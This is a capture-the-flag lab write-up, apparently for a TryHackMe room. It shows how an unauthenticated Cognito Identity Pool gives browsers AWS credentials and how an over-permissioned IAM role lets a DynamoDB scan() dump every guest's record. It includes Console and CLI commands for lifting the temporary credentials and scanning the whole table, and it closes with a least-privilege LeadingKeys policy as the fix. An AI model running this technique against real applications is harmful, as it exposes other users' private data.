- The app hands temporary AWS credentials to the browser via an unauthenticated Cognito Identity Pool.
- Config in clear text in
app.js: Identity Pool ID, region and DynamoDB table name. - The single-record restriction lives only in the JS: the IAM role allows
dynamodb:Scan. - A
scan()from the Console dumps the whole table and another guest's flag. - Defense: fine-grained IAM policy with
dynamodb:LeadingKeysand noScan.
Swap <target> for the box IP. Everything happens in the browser (DevTools → Sources, Network, Console); the aws commands are an optional alternative and run on your machine. You need a browser, plus the aws CLI if you take that route.
[01] Recon: following the client-side crumbs
I open the room's site in Developer Tools (F12) → Sources. No login, no cookie: yet the page talks to DynamoDB. It must get credentials somewhere, and inside app.js I find how it reads the data.
# http://<target> → F12 → Sources → app.js: legge un solo record AWS.config.credentials.get(function (err) { const dynamodb = new AWS.DynamoDB({ region: AWS_REGION }); dynamodb.getItem( { TableName: TABLE_NAME, Key: { guest_id: { S: guestId() } } }, function (err, data) { renderDashboard(data.Item); } ); });
# http://<target> → F12 → Sources → app.js: reads a single record AWS.config.credentials.get(function (err) { const dynamodb = new AWS.DynamoDB({ region: AWS_REGION }); dynamodb.getItem( { TableName: TABLE_NAME, Key: { guest_id: { S: guestId() } } }, function (err, data) { renderDashboard(data.Item); } ); });
Confirmed: the app uses a Cognito Identity Pool to issue temporary, unauthenticated credentials straight to the browser, then queries DynamoDB client-side with a getItem scoped to its own guest_id. Digging further in Sources I find the configuration values.
# I tre pezzi del puzzle, in chiaro nel bundle const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688"; const AWS_REGION = "us-east-1"; const TABLE_NAME = "complimentary-GuestWellnessProfiles"; AWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: IDENTITY_POOL_ID, });
# The three puzzle pieces, in clear text in the bundle const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688"; const AWS_REGION = "us-east-1"; const TABLE_NAME = "complimentary-GuestWellnessProfiles"; AWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: IDENTITY_POOL_ID, });
| Item | Value |
|---|---|
| Identity Pool ID | us-east-1:836c0949-292d-485b-b532-52d5ca7bb688 |
| Region | us-east-1 |
| DynamoDB table | complimentary-GuestWellnessProfiles |
[02] Cognito hands out credentials
I switch to the Network tab, filter for cognito and reload. The request to cognito-identity.us-east-1.amazonaws.com has GetCredentialsForIdentity as its X-Amz-Target, and the Response carries a full set of temporary AWS credentials.
# Network → filtro "cognito", ricarico la pagina X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity # Response: credenziali IAM temporanee, senza login { "Credentials": { "AccessKeyId": "ASIA...", "SecretKey": "...", "SessionToken": "...", "Expiration": "..." }, "IdentityId": "us-east-1:..." }
# Network → filter "cognito", reload the page X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity # Response: temporary IAM credentials, no login { "Credentials": { "AccessKeyId": "ASIA...", "SecretKey": "...", "SessionToken": "...", "Expiration": "..." }, "IdentityId": "us-east-1:..." }
Translation: any anonymous visitor gets a valid, temporary IAM identity just by loading the page. So far it's by design — unauth Cognito pools exist exactly for this. No need to copy the values by hand: the page already uses them; you only need them if you take the optional CLI route in [03].
The single-record restriction existed only in the page's JavaScript. The underlying IAM credentials knew nothing about it: a detail the browser won't stop you from ignoring.
[03] Scan instead of GetItem
The key insight: the app's code chose to call getItem on a single guest, but nothing stopped those same credentials from making a broader call. The limit lived in the JS logic, not in the role's permissions.
getItem fetches one row by key; scan requests the entire table. Same SDK, same credentials, a completely different permission.
# Console: AWS.config.credentials è già popolato dalla pagina new AWS.DynamoDB({ region: 'us-east-1' }).scan( { TableName: 'complimentary-GuestWellnessProfiles' }, (err, data) => console.log(err ? err.message : JSON.stringify(data, null, 2)) );
# Console: AWS.config.credentials is already populated by the page new AWS.DynamoDB({ region: 'us-east-1' }).scan( { TableName: 'complimentary-GuestWellnessProfiles' }, (err, data) => console.log(err ? err.message : JSON.stringify(data, null, 2)) );
It worked. The guest IAM role allowed dynamodb:Scan, not just dynamodb:GetItem: the classic over-permissioned role.
A method note: I didn't even touch the AWS CLI. Since the page had already loaded the SDK and populated AWS.config.credentials, the browser Console was effectively an authenticated AWS shell. If you'd rather reproduce it outside the browser, the three env vars below are enough.
# In alternativa: esfiltro le creds dalla Response di GetCredentialsForIdentity ([02]) # incolla i 3 valori; il campo SecretKey va in AWS_SECRET_ACCESS_KEY # scadono (vedi Expiration) → lancia lo scan subito export AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=... aws dynamodb scan --region us-east-1 \ --table-name complimentary-GuestWellnessProfiles
# Alternatively: exfil the creds from the GetCredentialsForIdentity Response ([02]) # paste the 3 values; the SecretKey field goes into AWS_SECRET_ACCESS_KEY # they expire (see Expiration) → run the scan right away export AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=... aws dynamodb scan --region us-east-1 \ --table-name complimentary-GuestWellnessProfiles
[04] Flag and defense
The scan() returned every guest profile in the table, including the ones that weren't mine. Scrolling the JSON in the Console, one of the other records carried the flag. The Response is an Items array of profiles: instead of scrolling by eye, search the dump for the THM{ string to jump straight to the record (and attribute) that holds it.
THM{████████████████████}
You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.
Why does the vuln exist? The IAM role tied to the pool's unauthenticated identity granted dynamodb:Scan (or a wildcard Action) over the whole table. The UI politely asked for one record, but the credentials could read them all. It's the classic gap between "what the frontend asks" and "what the token allows": the first is a suggestion, the second is the law. The fix lives in the policy, not in the JavaScript. One caveat: this policy assumes guest_id equals the Cognito identity id (${cognito-identity.amazonaws.com:sub}); with the client-chosen guestId() from [01] the table must first be re-keyed onto the identity, otherwise the Condition matches nothing.
# Fix: solo GetItem, solo sulla PROPRIA chiave di partizione { "Effect": "Allow", "Action": ["dynamodb:GetItem"], "Resource": "arn:aws:dynamodb:us-east-1:ACCOUNT:table/complimentary-GuestWellnessProfiles", "Condition": { "ForAllValues:StringEquals": { "dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"] } } }
# Fix: only GetItem, only on the caller's OWN partition key { "Effect": "Allow", "Action": ["dynamodb:GetItem"], "Resource": "arn:aws:dynamodb:us-east-1:ACCOUNT:table/complimentary-GuestWellnessProfiles", "Condition": { "ForAllValues:StringEquals": { "dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"] } } }
When an app hands credentials to the browser, the control cannot live in the JavaScript. Harden the IAM role: least-privilege actions (GetItem, never Scan/Query on the whole table) and fine-grained access control with dynamodb:LeadingKeys tied to ${cognito-identity.amazonaws.com:sub}, so each guest only sees their own row. The frontend proposes, IAM disposes.